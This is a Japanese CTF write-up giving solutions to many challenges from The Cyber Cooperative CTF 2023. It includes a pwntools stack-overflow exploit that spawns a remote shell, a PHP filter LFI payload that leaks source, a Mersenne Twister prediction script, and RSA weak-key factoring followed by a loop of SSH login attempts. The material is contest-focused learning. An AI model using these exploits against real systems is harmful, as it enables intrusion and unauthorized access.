The Cyber Cooperative CTF Writeup

この大会は2023/12/15 14:00(JST)~2023/12/18 14:00(JST)に開催されました。
今回もチームで参戦。結果は4750点で432チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。

crashme (exploitation 100)

BOF脆弱性がある。試しに長めに入力してみる。

$ nc 0.cloud.chals.io 17289
Give me some data: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
You entered aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
flag{segfaults_a_hackers_best_friend}
flag{segfaults_a_hackers_best_friend}

medbof (exploitation 200)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  do_input();
  return 0;
}

void do_input(void)

{
  char local_28 [32];
  
  printf("a little harder this time");
  fflush(stdout);
  gets(local_28);
  return;
}

void do_system(void)

{
  system("/bin/sh");
  return;
}

BOFでdo_system関数をコールすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 27380)
else:
    p = process('./medbof')

elf = ELF('./medbof')

do_system_addr = elf.symbols['do_system']

payload = b'A' * 40
payload += p64(do_system_addr)

data = p.recvuntil(b'time')
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 27380: Done
[*] '/media/sf_Shared/medbof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'a little harder this time'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
flag.txt
medbof
$ cat flag.txt
flag{getting_better_at_hacking_binaries_i_see...}
flag{getting_better_at_hacking_binaries_i_see...}

bunker (reversing 100)

Bunker.jarを解凍し、Bunker.classを抽出する。jadx-guiでBunker.classをデコンパイルする。

package defpackage;

import java.awt.Component;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.UIManager;

/* compiled from: bunker.java */
/* renamed from: Bunker  reason: default package */
/* loaded from: Bunker.class */
class Bunker extends JFrame implements ActionListener {
    static JFrame f;
    static JTextField l;
    String output = "";

    Bunker() {
    }

    public static void main(String[] strArr) {
        f = new JFrame("Bunker");
        try {
            UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
        } catch (Exception e) {
            System.err.println(e.getMessage());
        }
        Bunker bunker = new Bunker();
        l = new JTextField(8);
        l.setEditable(false);
        JButton jButton = new JButton("0");
        JButton jButton2 = new JButton("1");
        JButton jButton3 = new JButton("2");
        JButton jButton4 = new JButton("3");
        JButton jButton5 = new JButton("4");
        JButton jButton6 = new JButton("5");
        JButton jButton7 = new JButton("6");
        JButton jButton8 = new JButton("7");
        JButton jButton9 = new JButton("8");
        JButton jButton10 = new JButton("9");
        JPanel jPanel = new JPanel();
        jButton.addActionListener(bunker);
        jButton2.addActionListener(bunker);
        jButton3.addActionListener(bunker);
        jButton4.addActionListener(bunker);
        jButton5.addActionListener(bunker);
        jButton6.addActionListener(bunker);
        jButton7.addActionListener(bunker);
        jButton8.addActionListener(bunker);
        jButton9.addActionListener(bunker);
        jButton10.addActionListener(bunker);
        jPanel.add(l);
        jPanel.add(jButton);
        jPanel.add(jButton2);
        jPanel.add(jButton3);
        jPanel.add(jButton4);
        jPanel.add(jButton5);
        jPanel.add(jButton6);
        jPanel.add(jButton7);
        jPanel.add(jButton8);
        jPanel.add(jButton9);
        jPanel.add(jButton10);
        f.add(jPanel);
        f.setSize(120, 500);
        f.show();
    }

    public void actionPerformed(ActionEvent actionEvent) {
        this.output += actionEvent.getActionCommand();
        l.setText(this.output);
        if (this.output.length() == 8) {
            System.err.print("USER ENTERED: ");
            System.err.println(this.output);
            l.setText("");
            if (this.output.equals("72945810")) {
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < "Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E".length(); i++) {
                    sb.append((char) ("Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E".charAt(i) ^ this.output.charAt(i % this.output.length())));
                }
                JOptionPane.showMessageDialog((Component) null, sb.toString());
            } else {
                JOptionPane.showMessageDialog((Component) null, "=== BUNKER CODE INVALID ===");
            }
            this.output = "";
        }
    }
}

"Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E" と "72945810" のXORを取ればよい。

#!/usr/bin/env python3
enc = 'Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E'
key = '72945810'

flag = ''
for i in range(len(enc)):
    flag += chr(ord(enc[i]) ^ ord(key[i % len(key)]))
print(flag)
flag{bunker_11_says_await_further_instruction}

RATv0 (reversing 100)

Wiresharkでキャプチャ状態にして、ratv0.exeを実行する。dnsでフィルタリングすると、evilminds.c2の名前解決をしようとしていることがわかる。
hostsに以下を登録する。

127.0.0.1	evilminds.c2

あるフォルダで以下を実行し、HTTPサーバを実行する。

>python3 -m http.server 80

ratv0.exeを実行する。

>ratv0.exe
Failed to contact domain...they got us

待ち受けていたHTTPサーバでは以下のように表示された。

>python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:127.0.0.1 - - [16/Dec/2023 11:08:11] code 404, message File not found
::ffff:127.0.0.1 - - [16/Dec/2023 11:08:11] "GET /secretkey HTTP/1.1" 404 -

secretkeyをHTTPサーバのルートフォルダに置いて、再度ratv0.exeを実行する。

>ratv0.exe
flag{pl3as3_ca11_th3_rat_3xt3rm1nat0r}
flag{pl3as3_ca11_th3_rat_3xt3rm1nat0r}

easycrack (reversing 200)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  int local_40;
  int local_3c;
  char local_38 [24];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Please enter a key: ");
  fgets(local_38,0xd,stdin);
  local_40 = 0;
  local_3c = 0;
  while( true ) {
    sVar1 = strlen(local_38);
    if (sVar1 <= (ulong)(long)local_3c) break;
    local_40 = local_40 + local_38[local_3c];
    local_3c = local_3c + 1;
  }
  if (local_40 == 0x539) {
    sVar1 = strlen(local_38);
    if (sVar1 == 0xc) {
      printf("Nice key :) %s",local_38);
      goto LAB_00400730;
    }
  }
  printf("Bad Key :( %s",local_38);
LAB_00400730:
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

長さ12文字で、ASCIIコードの合計が0x539になればよい。

>>> 0x539//12
111
>>> 0x539%12
5
>>> chr(111)
'o'
>>> chr(112)
'p'

"o"と7個、"p"を5個含めればよい。

oooooooppppp

dis (reversing 300)

dis.txtからPythonコードを起こし、最後にoを出力する。

#!/usr/bin/env python3
n = [
36054,
55674,
30924,
59454,
53145,
70425,
72954,
15984,
97605,
93024,
74205,
34515,
91584,
91584,
95364,
91584,
59454,
93024,
38394,
17235,
11115,
72954,
15984,
91584,
93024,
15984,
91584,
93024,
30924,
93024,
78084,
30924,
95364,
91584,
36054,
74205,
30924,
78084,
13644,
93024,
99144,
30924,
78084,
91584,
99945
]

for i, x in enumerate(n):
    n[i] = int(str(n[i])[::-1])
    n[i] -= 999
    n[i] //= 432

o = ''
for p in n:
    o += chr(p)
print(o)
flag{whos_running_python_on_a_mainframe_damn}

Leaky Site (web 100)

https://thecybercoopctf-leaky-site.chals.io/index.php?resource=php://filter/convert.base64-encode/resource=main_pageにアクセスし、main_page.phpbase64コードを入手する。

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+TWFpbjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vdW5wa2cuY29tL0BjdGZkaW8vcGljb2Nzcy10aGVtZXNAMC4wLjMvZGlzdC9jc3MvcGljb3N0cmFwLm1pbi5jc3MiPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIG15LTUiPgogICAgICAgICAgICA8aDM+VGhlcmUncyBhIGZsYWcgaGVyZSBidXQgaXQncyBpbiB0aGUgc291cmNlIGNvZGUuLi48L2gzPgogICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIENhbiB5b3UgcHVsbCBpdCBvdXQ/CiAgICAgICAgICAgICAgICA8cHJlPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIC8vICJmbGFnezBoX24wX3BocF95MHVyX2wzYWtpbmdfNGxsXzB2ZXJ9IiA/PgogICAgICAgICAgICAgICAgPC9wcmU+CiAgICAgICAgICAgICAgICBQSFAgaXMgcXVpdGUgd2VpcmQgYWJvdXQgZmlsdGVycyBJIGhlYXIuLi4KICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9ib2R5Pgo8L2h0bWw+

このコードをbase64デコードする。

$ echo PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+TWFpbjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vdW5wa2cuY29tL0BjdGZkaW8vcGljb2Nzcy10aGVtZXNAMC4wLjMvZGlzdC9jc3MvcGljb3N0cmFwLm1pbi5jc3MiPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIG15LTUiPgogICAgICAgICAgICA8aDM+VGhlcmUncyBhIGZsYWcgaGVyZSBidXQgaXQncyBpbiB0aGUgc291cmNlIGNvZGUuLi48L2gzPgogICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIENhbiB5b3UgcHVsbCBpdCBvdXQ/CiAgICAgICAgICAgICAgICA8cHJlPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIC8vICJmbGFnezBoX24wX3BocF95MHVyX2wzYWtpbmdfNGxsXzB2ZXJ9IiA/PgogICAgICAgICAgICAgICAgPC9wcmU+CiAgICAgICAgICAgICAgICBQSFAgaXMgcXVpdGUgd2VpcmQgYWJvdXQgZmlsdGVycyBJIGhlYXIuLi4KICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9ib2R5Pgo8L2h0bWw+ | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Main</title>
    <link rel="stylesheet" href="https://unpkg.com/@ctfdio/picocss-themes@0.0.3/dist/css/picostrap.min.css">
    </head>
    <body>
        <div class="container my-5">
            <h3>There's a flag here but it's in the source code...</h3>
            <p>
                Can you pull it out?
                <pre>
                    <?php // "flag{0h_n0_php_y0ur_l3aking_4ll_0ver}" ?>
                </pre>
                PHP is quite weird about filters I hear...
            </p>
        </div>
    </body>
</html>
flag{0h_n0_php_y0ur_l3aking_4ll_0ver}

Lost at Sea (forensics 100)

No.6のパケットで、httpでGETしているパスにフラグがある。

GET /flag%7Bb4by_5h4rk_do0_d0o_d00_d0o_d0o_1n_th3_s34%7D HTTP/1.1\r\n
flag{b4by_5h4rk_do0_d0o_d00_d0o_d0o_1n_th3_s34}

babyhide (forensics 100)

$ binwalk babyhide.jpeg   

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
117430        0x1CAB6         PDF document, version: "1.3"

PDFが含まれているので、抽出する。

$ foremost babyhide.jpeg
Processing: babyhide.jpeg
|*|

抽出したPDFを開くと、フラグが書かれているのがわかった。

flag{baby_come_back}

funding secured (forensics 200)

StegSolveで開き、RGBのLSBにチェックを入れ、バイナリをエクスポートする。先頭3バイトを削除し、後ろの方のFFを全部削除すると、zipになる。zipを解凍すると、flag.txtが展開され、フラグが書いてあった。

flag{what_came_first_the_stego_or_the_watermark}

sleep mode (forensics 400)

>sussy.exe
  -d    decrypt with key.bin
  -e    generate and create key.bin

暗号化する際にkey.binが生成され、それを使って暗号化されるようだ。暗号化データとkey.binをメモリから取得できればよい。

$ volatility -f memory.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
WARNING : volatility.debug    : Overlay structure cpuinfo_x86 not present in vtypes
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/memory.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002bfe0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002bffd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-10-11 09:22:00 UTC+0000
     Image local date and time : 2021-10-11 05:22:00 -0400

$ volatility -f memory.raw --profile=Win7SP1x64 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 2692
Console: 0xfff96200 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe - sussy.exe  -e flag.txt
AttachedProcess: sussy.exe Pid: 3024 Handle: 0x8c
AttachedProcess: cmd.exe Pid: 2684 Handle: 0x60
----
CommandHistory: 0x14d470 Application: sussy.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x8c
----
CommandHistory: 0x14d140 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x14bbc0: cd Desktop
Cmd #1 at 0x149980: sussy.exe -e flag.txt
----
Screen 0x12d790 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\user>cd Desktop                                                        
                                                                                
C:\Users\user\Desktop>sussy.exe -e flag.txt                                     
Encrypted output file: flag.txt.enc                                             
WAITING

$ volatility -f memory.raw --profile=Win7SP1x64 filescan | grep flag.txt.enc
Volatility Foundation Volatility Framework 2.6
0x000000001e52b2d0     16      0 RW-rw- \Device\HarddiskVolume1\Users\user\Desktop\flag.txt.enc

$ volatility -f memory.raw --profile=Win7SP1x64 filescan | grep key.bin
Volatility Foundation Volatility Framework 2.6
0x000000001fa97c50     16      0 -W-rw- \Device\HarddiskVolume1\Users\user\Desktop\key.bin

$ volatility -f memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000001e52b2d0 -D .
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x1e52b2d0   None   \Device\HarddiskVolume1\Users\user\Desktop\flag.txt.enc
$ mv file.None.0xfffffa80084130a0.dat flag.txt.enc

$ volatility -f memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000001fa97c50 -D .
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x1fa97c50   None   \Device\HarddiskVolume1\Users\user\Desktop\key.bin
$ mv file.None.0xfffffa800872a5a0.dat key.bin

flag.txt.encとkey.binは\x00でパディングされているので、削除する。パディングを削除したflag.txt.encとkey.binを同じフォルダに置いて以下を実行する。

>sussy.exe -d flag.txt.enc
Decrypted output file: flag.txt.enc.dec
>type flag.txt.enc.dec
flag{and_thats_why_i_never_shutdown_my_laptop_ladies_and_gentlemen}
flag{and_thats_why_i_never_shutdown_my_laptop_ladies_and_gentlemen}

wicked (crypto 200)

同じ鍵で7つの平文がXORされていると推測できる。pythonのmtpモジュールを使って、復号する。


Keyを書き出す。

666c61677b77686572655f6172655f656c70686562615f616e645f676c696e64615f695f74686f756768745f746869735f7761735f7769636b6564
$ echo 666c61677b77686572655f6172655f656c70686562615f616e645f676c696e64615f695f74686f756768745f746869735f7761735f7769636b6564 | xxd -r -p        
flag{where_are_elpheba_and_glinda_i_thought_this_was_wicked
flag{where_are_elpheba_and_glinda_i_thought_this_was_wicked}

slots (crypto 250)

サーバの処理概要は以下の通り。

・money = 1000
・以下繰り返し
 ・wager: 数値入力
 ・money: wagerだけマイナス
 ・start = rng()
  ・test: 32ビットランダム整数の文字列
  ・test: 10桁になるよう先頭に0パディング
  ・testを返す。
 ・r1 = start[0:3]
 ・r2 = start[3:6]
 ・r3 = start[6:9]
 ・multi = start[9]
 ・f1 = r1[2] + r2[2] + r3[2]
 ・f2 = r1[1] + r2[1] + r3[1]
 ・f3 = r1[0] + r2[0] + r3[0]
 ・f1~f3を表示
 ・multiを表示
 ・result, hit = check(f1, f2, f3)
 ・resultがTrueの場合
  ・money: wager * multiだけプラスする。
 ・moneyが0以下の場合、終了
 ・moneyが1000000以上の場合、フラグを表示

f1, f2, f3, multの値から乱数の値がわかる。wagerを1だけ賭けて、624回の乱数を取得し、Mersennne Twisterの性質を使って、次以降の乱数を取得し、勝ち負けかがわかる。勝つ場合に全額を掛け、負ける場合に1だけ賭ければ、そのうちフラグが得られる。

#!/usr/bin/env python3
import socket
import random
import time

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18
    rand ^= (rand << 15) & 0xefc60000
 
    a = rand ^ ((rand << 7) & 0x9d2c5680)
    b = rand ^ ((a << 7) & 0x9d2c5680)
    c = rand ^ ((b << 7) & 0x9d2c5680)
    d = rand ^ ((c << 7) & 0x9d2c5680)
    rand = rand ^ ((d << 7) & 0x9d2c5680)
 
    rand ^= ((rand ^ (rand >> 11)) >> 11)
    return rand

def check(f1, f2, f3):
    if f1[0] == f1[1] == f1[2]:
        return True, f1[0] + f1[1] + f1[2]

    if f2[0] == f2[1] == f2[2]:
        return True, f2[0] + f2[1] + f2[2]

    if f3[0] == f3[1] == f3[2]:
        return True, f3[0] + f3[1] + f3[2]

    if f1[0] == f2[1] == f3[2]:
        return True, f1[0] + f2[1] + f3[2]

    if f1[2] == f2[1] == f3[0]:
        return True, f1[2] + f2[1] + f3[0]

    return False, "###"


def rng():
    test = str(random.getrandbits(32))
    test = test.zfill(10)
    return test

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 34865))

for _ in range(12):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

N = 624
state = []
for i in range(N):
    data = recvuntil(s, b'? ')
    print(data + '1')
    s.sendall(b'1\n')

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    f10 = data.split(' ')[1]
    f11 = data.split(' ')[2]
    f12 = data.split(' ')[3]
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    f20 = data.split(' ')[1]
    f21 = data.split(' ')[2]
    f22 = data.split(' ')[3]
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    f30 = data.split(' ')[1]
    f31 = data.split(' ')[2]
    f32 = data.split(' ')[3]
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    multi = data.split('=')[1]
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    r1 = f30 + f20 + f10
    r2 = f31 + f21 + f11
    r3 = f32 + f22 + f12
    state.append(untemper(int(r1 + r2 + r3 + multi)))

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    money = int(data.split(' ')[2])

    time.sleep(1)

state.append(N)
random.setstate([3, tuple(state), None])

while True:
    start = rng()
    r1 = start[0:3]
    r2 = start[3:6]
    r3 = start[6:9]
    multi = start[9]

    f1 = r1[2] + r2[2] + r3[2]
    f2 = r1[1] + r2[1] + r3[1]
    f3 = r1[0] + r2[0] + r3[0]

    result, hit = check(f1, f2, f3)
    if result:
        wager = money
    else:
        wager = 1

    data = recvuntil(s, b'? ')
    print(data + str(wager))
    s.sendall(str(wager).encode() + b'\n')

    for _ in range(8):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
    money = int(data.split(' ')[2])

    if money >= 1000000:
        break

    time.sleep(1)

data = recvuntil(s, b'\n').rstrip()
print(data)

しかし、途中で接続が切られる。よく考えたら、持ち金以上のお金をかけられるので、何回か1000000を指定して成功すれば、フラグが得られる。

$ nc 0.cloud.chals.io 34865

   _____ __    ____  ___________
  / ___// /   / __ \/_  __/ ___/
  \__ \/ /   / / / / / /  \__ \
 ___/ / /___/ /_/ / / /  ___/ /
/____/_____/\____/ /_/  /____/
    
YOU HAVE 1000 MONEY

YOU WIN FOR EVERY MATCHING HORIZONTAL OR DIAGONAL LINE
FOR EVERY WIN YOULL GET YOUR WAGER TIMES THE MULTIPLIER
MAKE IT TO 1,000,000 FOR A FLAG
WAGER? 1000000

=> 6 0 4
=> 2 4 9
=> 4 3 0
MULTIPLIER=9

WINNER! 444
YOU HAVE 8001000 MONEY
flag{only_true_twisters_beat_the_house}
flag{only_true_twisters_beat_the_house}

nullnull (crypto 300)

$ nc 0.cloud.chals.io 15076
Welcome to my secure flag sharer where there are null nulls!
Print encrypted flag? (Y/N): y
b'&\x00\'1pJR:Ox)V{k\x12S\x13-"@*s\x1c\x19qNbc#NO"=L\x16?\x0c"b$\x18k-8kC\x1c:Q'
Print encrypted flag? (Y/N): y
b'Lo(0`{\x01KY\rEjot\x0c\x13KO\x7f\x1b\x7f^G[\x00RX3\x11h\x06-\x1d\x00;;/\x1d(JDhy{3\x035\t8'
>>> s = b'&\x00\'1pJR:Ox)V{k\x12S\x13-"@*s\x1c\x19qNbc#NO"=L\x16?\x0c"b$\x18k-8kC\x1c:Q'
>>> len(s)
49
>>> s = b'Lo(0`{\x01KY\rEjot\x0c\x13KO\x7f\x1b\x7f^G[\x00RX3\x11h\x06-\x1d\x00;;/\x1d(JDhy{3\x035\t8'
>>> len(s)
49

0だけXOR鍵にないので、何回も暗号を確認し、登場しない文字がフラグ文字となる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 15076))

data = recvuntil(s, b'\n').rstrip()
print(data)

flags = [[c for c in range(32, 127)] for _ in range(49)]

while True:
    print(flags)
    data = recvuntil(s, b': ')
    print(data + 'Y')
    s.sendall(b'Y\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ct = eval(data)
    for i in range(len(ct)):
        if ct[i] in flags[i]:
            flags[i].remove(ct[i])

    finish = True
    for i in range(len(flags)):
        if len(flags[i]) != 1:
            finish = False
    if finish:
        break

flag = ''
for i in range(len(flags)):
    flag += chr(flags[i][0])
print(flag)

実行結果は以下の通り。

        :
[[102], [108], [97], [103], [123], [115], [111], [40, 95], [109], [97], [110], [121], [95], [112], [111], [115], [115], [105], [98], [105], [108], [105], [116], [105], [101], [115], [95], [98], [117], [116], [95], [111], [110], [108], [121], [95], [111], [110], [101], [95], [115], [111], [108], [117], [116], [105], [111], [110], [125]]
Print encrypted flag? (Y/N): Y
b'[~^l\x1a}u\x01>8i1\x05{&4&xR|]g\x030X\x17)4D;]@P\x19/0^@Q{\x13=Cp\x10L3-l'
[[102], [108], [97], [103], [123], [115], [111], [40, 95], [109], [97], [110], [121], [95], [112], [111], [115], [115], [105], [98], [105], [108], [105], [116], [105], [101], [115], [95], [98], [117], [116], [95], [111], [110], [108], [121], [95], [111], [110], [101], [95], [115], [111], [108], [117], [116], [105], [111], [110], [125]]
Print encrypted flag? (Y/N): Y
b'^]V\x1f&\x07Q(C;,\x1fS\x1fdT[\x0f}Iq=\x16\x10\x02:\x19\x14r\x05\x0b:!\x08\x1b6,+O\r&v]O!\r4bJ'
flag{so_many_possibilities_but_only_one_solution}
flag{so_many_possibilities_but_only_one_solution}

Eve and The Thousand Keys (crypto 300)

公開鍵が1000個ある。すべてのnを取り出し、一定の幅を超えたらあきらめるようにしたFermat法を使って素因数分解して、秘密鍵を生成する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import itertools

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)

    found = False
    for _ in range(1024):
        w = x * x - n - y * y
        if w == 0:
            found = True
            break
        elif w > 0:
            y += 1
        else:
            x += 1

    if found:
        return x - y, x + y
    else:
        return 0, 0

for i in range(1, 1001):
    pubkey = 'public/key.%d.pub' % i

    with open(pubkey, 'r') as f:
        pub_data = f.read()

    pubkey = RSA.importKey(pub_data)
    n = pubkey.n
    e = pubkey.e
    assert e == 65537

    p, q = fermat(n)
    if p != 0:
        phi = (p - 1) * (q - 1)
        d = inverse(e, phi)
        privkey = RSA.construct((n, e, d))

        fname = 'private/key.%d' % i
        with open(fname, 'wb') as f:
            f.write(privkey.exportKey())

261個の秘密鍵を生成できたので、ブルートフォースでこれらの鍵を使って接続を試みる。

#!/usr/bin/env python3
import subprocess
import os

cmd_format = 'ssh -i %s challenge@0.cloud.chals.io -p 17009'

for i in range(1, 1001):
    fname = 'private/key.%d' % i
    if os.path.isfile(fname):
        cmd = cmd_format % fname
        print('[+] cmd:', cmd)
        cmd = cmd.split(' ')
        try:
            ret = subprocess.call(cmd, timeout=2)
            print('[+] real private key:', fname)
            break
        except:
            print()

実行結果は以下の通り。

[+] cmd: ssh -i private/key.2 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
[+] cmd: ssh -i private/key.3 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
[+] cmd: ssh -i private/key.6 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
[+] cmd: ssh -i private/key.15 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
[+] cmd: ssh -i private/key.17 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
                :
[+] cmd: ssh -i private/key.849 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
[+] cmd: ssh -i private/key.853 challenge@0.cloud.chals.io -p 17009
challenge@0.cloud.chals.io's password: 
[+] cmd: ssh -i private/key.854 challenge@0.cloud.chals.io -p 17009
flag{guess_it_wasnt_prime_season}
flag{guess_it_wasnt_prime_season}
Last login: Sat Dec 16 07:56:42 2023 from 10.1.165.197
flag{guess_it_wasnt_prime_season}
Connection to 0.cloud.chals.io closed.
[+] real private key: private/key.854
flag{guess_it_wasnt_prime_season}

Emperor's New Crypto (crypto 300)

「wicked」の問題と同様にpythonのmtpモジュールを使って、復号する。ただ、最初に全然推測文字が表示されないので、全行で文字として適当なものを探していく。また、鍵が"flag{"から始まることを前提に推測していく。

Keyを書き出す。

666c61677b7468655f656d7065726f72735f6e65775f67726f6f76655f69735f6869735f746f74616c6c795f6e65775f63727970746f5f265f6869735f66616e63795f6e65775f636c6f74686573217d
$ echo 666c61677b7468655f656d7065726f72735f6e65775f67726f6f76655f69735f6869735f746f74616c6c795f6e65775f63727970746f5f265f6869735f66616e63795f6e65775f636c6f74686573217d | xxd -r -p        
flag{the_emperors_new_groove_is_his_totally_new_crypto_&_his_fancy_new_clothes!}
flag{the_emperors_new_groove_is_his_totally_new_crypto_&_his_fancy_new_clothes!}